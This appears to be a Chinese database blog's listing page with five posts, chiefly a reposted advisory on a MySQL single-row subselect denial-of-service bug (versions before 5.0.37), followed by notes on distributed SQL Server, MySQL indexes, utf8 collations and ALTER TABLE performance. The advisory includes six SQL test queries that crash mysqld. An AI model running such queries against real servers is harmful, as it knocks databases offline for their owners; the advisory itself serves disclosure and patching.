分类
日历
统计
链接
其他

数据库
9 Jul.2010

MySQL单行子选择远程拒绝服务漏洞 不指定

作者: dreamboymt   分类:数据库   出处:本站原创   

  受影响系统:

  MySQL AB MySQL < 5.0.37

  不受影响系统:

  MySQL AB MySQL 5.0.37

  描述:

  BUGTRAQ ID: 22900

  MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

  MySQL在处理特定畸形请求时存在漏洞,远程攻击者可能利用此漏洞在导致MySQL进程崩溃。

  如果MySQL用户在字符串函数中使用了子选择的话,就会调用Item_singlerow_subselect::val_str()。由于无需分类整理单行子选择的结果,因此不会初始化所分配结构st_table中的某些字段,具体来讲是sort->io_cache字段。但如果在查询中使用了ORDER BY,就会对表格运行filesort(),filesort()中的错误处理例程在引用未初始化字段值出现段访问错误:

  libmysqld/filesort.cc:

  111 FILESORT_INFO table_sort;

  (...)

  117 memcpy(&table_sort, &table->sort, sizeof(FILESORT_INFO));

  120 outfile= table_sort.io_cache;

  (..)

  269 err:

  (..)

  276 if (my_b_inited(outfile))

  include/my_sys.h:

  503 #define my_b_inited(info) (info)->buffer

  这可能会触发空指针引用,导致mysqld崩溃。

  
  测试方法:

  警 告

  以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

  SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));

  SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns ORDER BY 1));

  SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);

  SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));

  SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));

  SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol');

  建议:

  厂商补丁:

  MySQL AB

  --------

  厂商发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

  http://dev.mysql.com/downloads/mysql/5.0.html#downloads

时间:14:14 评论(0) 引用(0) 阅读(2942) Tags:
7 Jul.2010

SQL Server实现分布式数据库系统的终极目标 不指定

作者: dreamboymt   分类:数据库   出处:本站原创   
SQL Server数据库的分布式数据库系统的实际目标,通俗的讲就是研制分布式数据库系统的目的、动机,其中主要包括的有技术与组织这两方面的目标,以下就是正文的主要内容描述。

1.适应部门分布的组织结构,降低费用

使用数据库的单位在组织上常常是分布的(如分为部门、科室、车间等等),在地理上也是分布的。分布式数据库系统的结构符合部门分布的组织结构,允许各个部门对自己常用的数据存储在本地,在本地录入、查询、维护,实行局部控制。由于计算机资源靠近用户,因而可以降低通信代价,提高响应速度,使这些部门使用数据库更方便更经济。

2.提高系统的可靠性和可用性

改善系统的可靠性和可用性是SQL Server数据库的分布式数据库的主要目标。将数据分布于多个场地,并增加适当的冗余度可以提供更好的可靠性。一些可靠性要求较高的系统,这一点尤其重要。因为一个地出了故障不会引起整个系统崩溃。因为故障场地的用户可以通过其它场地进入系统。而其它场地的用户可以由系统自动选择存取路径,避开故障场地,利用其它数据副本执行操作,不影响业务的正常运行。

3.充分利用数据库资源,提高现有集中式数据库的利用率

当在一个大企业或大部门中已建成了若干个数据库之后,为了利用相互的资源,为了开发全局应用,就要研制分布式数据库系统。这种情况可称为自底向上的建立分布式系统。这种方法虽然也要对各现存的局部数据库系统做某些改动、重构,但比起把这些数据库集中起来重建一个集中式数据库,则无论从经济上还是从组织上考虑,分布式数据库均是较好的选择。

4.逐步扩展处理能力和系统规模

当一个单位规模扩大要增加新的部门(如银行系统增加新的分行,工厂增加新的科室、车间)时,SQL Server数据库的分布式数据库系统的结构为扩展系统的处理能力提供了较好的途径:在分布式数据库系统中增加一个新的结点。这样做比在集中式系统中扩大系统规模要方便、灵活、经济得多。

在集中式系统中为了扩大规模常用的方法有两种:一种是在开始设计时留有较大的余地。这容易造成浪费,而且由于预测困难,设计结果仍可能不适应情况的变化。另一种方法是系统升级,这会影响现有应用的正常运行。

并且当升级涉及不兼容的硬件或系统软件有了重大修改而要相应地修改已开发的应用软件时,升级的代价就十分昂贵而常常使得升级的方法不可行。分布式数据库系统能方便地把一个新的结点纳入系统,不影响现有系统的结构和系统的正常运行,提供了逐渐扩展系统能力的较好途径,有时甚至是唯一的途径。

时间:23:35 评论(0) 引用(0) 阅读(2827) Tags:
21 Jun.2010

MySQL 索引详解 不指定

作者: dreamboymt   分类:数据库   出处:本站原创   

本文介绍了数据库索引,及其优、缺点。针对MySQL索引的特点、应用进行了详细的描述。分析了如何避免MySQL无法使用,如何使用EXPLAIN分析查询语句,如何优化MySQL索引的应用。

索引是一种特殊的文件(InnoDB数据表上的索引是表空间的一个组成部分),它们包含着对数据表里所有记录的引用指针。

注:

[1]索引不是万能的

索引可以加快数据检索操作,但会使数据修改操作变慢。每修改数据记录,索引就必须刷新一次。为了在某种程序上弥补这一缺陷,许多SQL命令都有一个DELAY_KEY_WRITE项。这个选项的作用是暂时制止MySQL在该命令每插入一条新记录和每修改一条现有之后立刻对索引进行刷新,对索引的刷新将等到全部记录插入/修改完毕之后再进行。在需要把许多新记录插入某个数据表的场合,DELAY_KEY_WRITE选项的作用将非常明显。

[2]另外,索引还会在硬盘上占用相当大的空间

因此应该只为最经常查询和最经常排序的数据列建立索引。注意,如果某个数据列包含许多重复的内容,为它建立索引就没有太大的实际效果。

从理论上讲,完全可以为数据表里的每个字段分别建一个索引,但MySQL把同一个数据表里的索引总数限制为16个。

时间:15:17 评论(0) 引用(0) 阅读(2874) Tags:
21 Jun.2010

utf8_unicode_ci与utf8_general_ci的区别 不指定

作者: dreamboymt   分类:数据库   出处:本站原创   

当前,utf8_unicode_ci校对规则仅部分支持Unicode校对规则算法。一些字符还是不能支持。并且,不能完全支持组合的记号。这主要影响越南和俄罗斯的一些少数民族语言,如:Udmurt 、Tatar、Bashkir和Mari。

utf8_unicode_ci的最主要的特色是支持扩展,即当把一个字母看作与其它字母组合相等时。例如,在德语和一些其它语言中‘ß’等于‘ss’。

utf8_general_ci是一个遗留的 校对规则,不支持扩展。它仅能够在字符之间进行逐个比较。这意味着utf8_general_ci校对规则进行的比较速度很快,但是与使用utf8_unicode_ci的校对规则相比,比较正确性较差)。

例如,使用utf8_general_ci和utf8_unicode_ci两种 校对规则下面的比较相等:

Ä = A

Ö = O

Ü = U

两种校对规则之间的区别是,对于utf8_general_ci下面的等式成立:

ß = s

但是,对于utf8_unicode_ci下面等式成立:

ß = ss

对于一种语言仅当使用utf8_unicode_ci排序做的不好时,才执行与具体语言相关的utf8字符集 校对规则。例如,对于德语和法语,utf8_unicode_ci工作的很好,因此不再需要为这两种语言创建特殊的utf8校对规则。

utf8_general_ci也适用与德语和法语,除了‘ß’等于‘s’,而不是‘ss’之外。如果你的应用能够接受这些,那么应该使用utf8_general_ci,因为它速度快。否则,使用utf8_unicode_ci,因为它比较准确。

时间:15:14 评论(0) 引用(0) 阅读(2596) Tags:
21 Jun.2010

mysql表的性能提升的相关问题 不指定

作者: dreamboymt   分类:数据库   出处:本站原创   

DROP PRIMAY DEY用于取消主索引。

注释:在MySQL较早的版本中,如果没有主索引,则DROP PRIMARY KEY会取消表中的第一个UNIQUE索引。在MySQL 5.1中不会出现这种情况。如果在MySQL 5.1中对没有主键的表使用DROP PRIMARY KEY,则会出现错误信息。

如果您向表中添加UNIQUE KEYPRIMARY KEY,则UNIQUE KEYPRIMARY KEY会被储存在非唯一索引之前,这样MySQL就可以尽早地检查出重复关键字。

ORDER BY用于在创建新表时,让各行按一定的顺序排列。注意,在插入和删除后,表不会仍保持此顺序。当您知道多数情况下您会按照特定的顺序查询各行时,可以使用这个选项;在对表进行了大的改动后,通过使用此选项,您可以提高查询效率。在有些情况下,如果表按列排序,对于MySQL来说,排序可能会更简单。

如果您对一个MyISAM表使用ALTER TABLE,则所有非唯一索引会被创建到一个单独的批里(和REPAIR TABLE相同)。当您有许多索引时,这样做可以使ALTER TABLE的速度更快。

这项功能可以明确激活。ALTER TABLE...DISABLE KEYSMySQL停止更新MyISAM表中的非唯一索引。然后使用ALTER TABLE ... ENABLE KEYS重新创建丢失的索引。进行此操作时,MySQL采用一种特殊的算法,比一个接一个地插入关键字要快很多。因此,在进行成批插入操作前先使关键字禁用可以大大地加快速度。使用ALTER TABLE ... DISABLE KEYS除了需要获得以前提到的权限以外,还需要获得INDEX权限。

时间:15:11 评论(0) 引用(0) 阅读(2422) Tags:
分页: 1/3 第一页 1 2 3 下页 最后页 [ 显示模式: 摘要 | 列表 ]